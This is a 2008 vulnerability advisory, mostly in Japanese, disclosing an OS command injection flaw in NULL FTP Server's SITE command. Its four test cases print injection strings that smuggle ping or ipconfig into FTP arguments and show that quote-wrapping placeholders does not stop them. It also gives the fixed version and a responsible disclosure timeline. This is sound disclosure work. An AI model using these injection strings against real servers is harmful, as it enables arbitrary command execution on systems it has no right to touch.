vuln.sg  

vuln.sg Vulnerability Research Advisory

NULL FTP Server の SITE コマンにおける OS コマンドインジェクションの脆弱性

by Tan Chew Keong タン チュー ケオン
Release Date: 2008-12-05

   [en] [jp]

概要

NULL FTP Server の FTP SITE コマンに は OS コマンドインジェクションの脆弱性が存在します。この脆弱性が、悪意のある FTP ユーザーに利用されたら、FTP サーバ上で、FTP サーバの権限で任意の Windows OS コマンドを実行される可能性があります。


問題を確認したバージョン
問題

NULL FTP Server の FTP SITE コマンに は OS コマンドインジェクションの脆弱性が存在します。この脆弱性が、悪意のある FTP ユーザーに利用されたら、FTP サーバ上で、FTP サーバの権限で任意の Windows OS コマンドを実行される可能性があります。

FTP サーバ上で、その SITE コマンドを無効にすれば、この脆弱性を悪用されることができません。


脆弱性のテスト

脆弱性の確かめる方法は下記です。

Prerequisites


Please configure NULL FTP Server as follows prior to testing:

  1. Create a test user on the NULL FTP Server.
  2. Ensure that this user is given Full Access (i.e. read and write) to the FTP directory. This is required since the %writefile1 parameter requires the user to have write access to the FTP directory.
  3. Configure NULL FTP Server to Enable SITE commands and click on Apply.
  4. Download and extract netcat from here. netcat (nc.exe) will be used to issue FTP commands directly to NULL FTP Server.
 

Test Case 1


  1. Create the following SITE command in NULL FTP Server if it does not already exist.
  2. Command Name: NATIVEDIR
    Executable/batch file: dir %readfile1

  3. Using netcat, logon to the FTP server and issue the following SITE command.
  4. SITE NATIVEDIR "."\""&ping 127.0.0.1&

    OR

    SITE NATIVEDIR a&ipconfig

  5. The above SITE commands will inject the ping or the ipconfig command. See screenshot below.
 

Test Case 2


The purpose of this test case is to show that enclosing the %readfile1 placeholder in double-quotes will not solve the issue.
  1. Create the following SITE command in NULL FTP Server if it does not already exist.
  2. Command Name: NATIVEDIR
    Executable/batch file: dir "%readfile1"

  3. Using netcat, logon to the FTP server and issue the following SITE command. Do note that this exploit is slightly different from Test Case 1.
  4. SITE NATIVEDIR ".""\""&ping 127.0.0.1&

  5. The above SITE command will inject the ping command. See screenshot below.
 

Test Case 3


  1. Create the following SITE command in NULL FTP Server if it does not already exist.
  2. Command Name: ATTRIB
    Executable/batch file: attrib %writefile1 %2 %3 %4 %5 %6 %7 %8 %9

  3. Using netcat, logon to the FTP server and issue the following SITE command.
  4. SITE ATTRIB a&& ping 127.0.0.1

    OR

    SITE ATTRIB a &ping 127.0.0.1

    OR

    SITE ATTRIB a| ping 127.0.0.1

  5. The above SITE command will inject the ping command. See screenshot below.
 

Test Case 4


  1. Enclosing the placeholders in double-quotes will not solve the issue.
  2. Command Name: ATTRIB
    Executable/batch file: attrib "%writefile1" "%2" "%3" "%4" "%5" "%6" "%7" "%8" "%9"

    Test Exploit: SITE ATTRIB a" &ping 127.0.0.1&

  3. Again, enclosing the placeholders in double-quotes will not solve the issue.
  4. Command Name: ATTRIB
    Executable/batch file: attrib %writefile1 "%2" "%3" "%4" "%5" "%6" "%7" "%8" "%9"

    Test Exploit: SITE ATTRIB a &"ping 127.0.0.1&

  5. The above SITE commands will inject the ping command.
 


対策

Version 1.1.0.8 へのバージョンアップをしてください。ベンダーに公開される脆弱性の情報はこちらです。


発見と報告の経緯

2008年11月25日 - 脆弱性の発見。
2008年11月26日 - ベンダーに報告しました。(Support Ticket #20786)
2008年11月26日 - ベンダーから答えを受け取りました。
2008年11月26日 - ベンダーに脆弱性の確かめる方法を送りました。
2008年11月27日 - ベンダーは修正版のバージョン 1.1.0.8 をリリースしました。
2008年12月05日 - 本脆弱性の公開。


Contact
For further enquries, comments, suggestions or bug reports, simply email them to